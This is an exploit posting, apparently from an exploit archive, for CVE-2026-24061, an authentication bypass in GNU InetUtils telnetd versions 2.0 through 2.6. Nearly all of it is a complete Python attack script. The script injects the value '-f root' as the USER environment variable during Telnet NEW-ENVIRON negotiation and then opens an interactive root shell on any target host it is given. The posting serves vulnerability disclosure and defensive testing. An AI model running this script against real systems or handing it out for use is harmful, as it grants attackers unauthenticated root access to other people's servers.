Share
## https://sploitus.com/exploit?id=PACKETSTORM:220370
# Exploit Title: GNU InetUtils telnetd - Remote Privilege Escalation 
    # Date: 2026-01-24
    # Exploit Author: Ali Guliyev (infat0x)
    # Author GitHub: https://github.com/infat0x
    # Vendor Homepage: https://www.gnu.org/software/inetutils/
    # Software Link: https://ftp.gnu.org/gnu/inetutils/
    # Version: GNU InetUtils 2.0 through 2.6
    # Tested on: Linux (various distributions using vulnerable inetutils-telnetd)
    # CVE : CVE-2026-24061
    
    import socket
    import sys
    import threading
    import argparse
    import re
    
    """
    Description:
    The telnetd implementation in GNU InetUtils before 2.7-2 is vulnerable to 
    authentication bypass via environment variable injection. By passing a 
    crafted USER environment variable (e.g., "-f root") during the Telnet 
    NEW-ENVIRON subnegotiation, an attacker can force the login process 
    to grant a root shell without requiring a password.
    
    Technical Analysis:
    The vulnerability exists because telnetd fails to sanitize the USER variable 
    before passing it as an argument to /bin/login. By prepending the -f flag, 
    the login utility skips the authentication phase.
    """
    
    # Telnet Protocol Constants (RFC 854)
    IAC  = 255  # Interpret As Command
    DONT = 254
    DO   = 253
    WONT = 252
    WILL = 251
    SB   = 250  # Subnegotiation Begin
    SE   = 240  # Subnegotiation End
    
    # Telnet Option Codes (RFC 1572)
    NEW_ENVIRON = 39 
    IS    = 0
    VAR   = 0
    VALUE = 1
    
    def handle_negotiation(sock, cmd, opt):
        """Responds to standard Telnet negotiation sequences."""
        if cmd == DO and opt == NEW_ENVIRON:
            # Agreement to use the environment variable passing option
            sock.sendall(bytes([IAC, WILL, NEW_ENVIRON]))
        elif cmd == DO:
            # Refuse other options for simplicity
            sock.sendall(bytes([IAC, WONT, opt]))
        elif cmd == WILL:
            # Acknowledge the server's willingness
            sock.sendall(bytes([IAC, DO, opt]))
    
    def handle_subnegotiation(sock, sb_data, user_payload):
        """Executes the core exploit by injecting the malformed USER variable."""
        if len(sb_data) > 0 and sb_data[0] == NEW_ENVIRON:
            # Format: IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
            env_msg = (
                bytes([IAC, SB, NEW_ENVIRON, IS, VAR]) + 
                b'USER' + 
                bytes([VALUE]) + 
                user_payload.encode('ascii') + 
                bytes([IAC, SE])
            )
            sock.sendall(env_msg)
    
    def process_telnet_stream(data, sock, user_payload):
        """Parses incoming data to separate control signals from actual text."""
        clean_output = b''
        i = 0
        while i < len(data):
            if data[i] == IAC and i + 1 < len(data):
                cmd = data[i + 1]
                if cmd in [DO, DONT, WILL, WONT] and i + 2 < len(data):
                    handle_negotiation(sock, cmd, data[i + 2])
                    i += 3
                elif cmd == SB:
                    se_idx = i + 2
                    while se_idx < len(data) - 1:
                        if data[se_idx] == IAC and data[se_idx + 1] == SE:
                            break
                        se_idx += 1
                    if se_idx < len(data) - 1:
                        handle_subnegotiation(sock, data[i + 2:se_idx], user_payload)
                        i = se_idx + 2
                    else:
                        i += 1
                else:
                    i += 2
            else:
                clean_output += bytes([data[i]])
                i += 1
    
        # Filter ANSI escape sequences for a cleaner shell experience
        ansi_escape = re.compile(rb'\x1b\[[0-?]*[ -/]*[@-~]')
        return ansi_escape.sub(b'', clean_output)
    
    def socket_reader_thread(sock, user_payload):
        """Background thread to handle server output."""
        try:
            while True:
                raw_data = sock.recv(4096)
                if not raw_data:
                    break
                display_data = process_telnet_stream(raw_data, sock, user_payload)
                if display_data:
                    sys.stdout.buffer.write(display_data)
                    sys.stdout.buffer.flush()
        except (ConnectionResetError, BrokenPipeError):
            pass
        finally:
            print("\n[*] Connection closed.")
    
    def main():
        parser = argparse.ArgumentParser(description="CVE-2026-24061 Exploitation Tool")
        parser.add_argument('host', help="Target IP address")
        parser.add_argument('-p', '--port', type=int, default=23, help="Telnet port (default 23)")
        args = parser.parse_args()
    
        # The exploit payload to bypass login
        user_payload = "-f root"
        
        try:
            client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            client_sock.settimeout(5)
            client_sock.connect((args.host, args.port))
            client_sock.settimeout(None)
            print(f"[*] Connected to {args.host}:{args.port}")
            print(f"[*] Sending payload: {user_payload}")
        except Exception as e:
            print(f"[!] Connection failed: {e}")
            sys.exit(1)
    
        # Launch output listener
        threading.Thread(target=socket_reader_thread, args=(client_sock, user_payload), daemon=True).start()
    
        print("[*] Interactive session started. Type commands below.\n")
        try:
            while True:
                # Simple interactive shell loop
                char = sys.stdin.read(1)
                if not char:
                    break
                client_sock.sendall(char.encode())
        except KeyboardInterrupt:
            print("\n[*] Exploit session terminated by user.")
        finally:
            client_sock.close()
    
    if __name__ == "__main__":
        main()